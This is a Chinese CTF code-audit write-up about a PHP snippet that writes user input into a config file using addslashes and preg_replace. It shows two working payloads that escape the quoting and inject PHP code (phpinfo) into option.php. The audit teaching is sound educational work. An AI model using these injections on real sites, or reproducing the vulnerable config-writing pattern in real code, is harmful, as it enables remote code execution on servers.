【代码小审计 PHP篇】Challenge 2

栏目: PHP · 发布时间: 6年前

内容简介:【代码小审计 PHP篇】Challenge 2

前言

专栏名为【代码小审计】,面向CTFer和代码审计新手。基于代码小片段进行讲解,包含但不限于 php 等语言。此次题目来自: Code-Audit-Challenges: php/challenge-3

Challenge

index.php

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);

xxxxx/option.php

$option='test';

Solution

流程如下:

  1. 对传入的option参数进行addslashes,比如有单引号 ' ,会变成 \'
  2. 通过正则匹配xxxxx/option.php中的 $option='xxx'; ,将xxx的内容替换为经第一步处理的值
  3. 替换完成,将其写入xxxxx/option.php。

场景: 用于写入配置文件等。

法一

先访问:

?option=aaa';%0aphpinfo();//

经过addslashes后,$str值为 aaa\';%0aphpinfo();//

进行正则匹配并写入文件,xxxxx/option.php的内容变为:

<?php
$option='aaa\';
phpinfo();//';
?>

再访问:

?option=xxx

正则匹配时,会将两个单引号里的内容即 aaa\ ,替换为 xxx ,此时xxxxx/option.php的内容变为

<?php
$option='xxx';
phpinfo();//';
?>

最后访问:/xxxxx/option.php

法二

访问:

?option=aaa\';phpinfo();//

经过addslashes后,$str为 aaa\\\';phpinfo();//

经过preg_replace正则匹配后,对 \ 做了转义处理,xxxxx/option.php的内容变为:

<?php
$option='aaa\\';phpinfo();//';
?>

最后访问:/xxxxx/option.php

Refference


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Amazon Web Services

Programming Amazon Web Services

James Murty / O'Reilly Media / 2008-3-25 / USD 49.99

Building on the success of its storefront and fulfillment services, Amazon now allows businesses to "rent" computing power, data storage and bandwidth on its vast network platform. This book demonstra......一起来看看 《Programming Amazon Web Services》 这本书的介绍吧!

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

SHA 加密
SHA 加密

SHA 加密工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具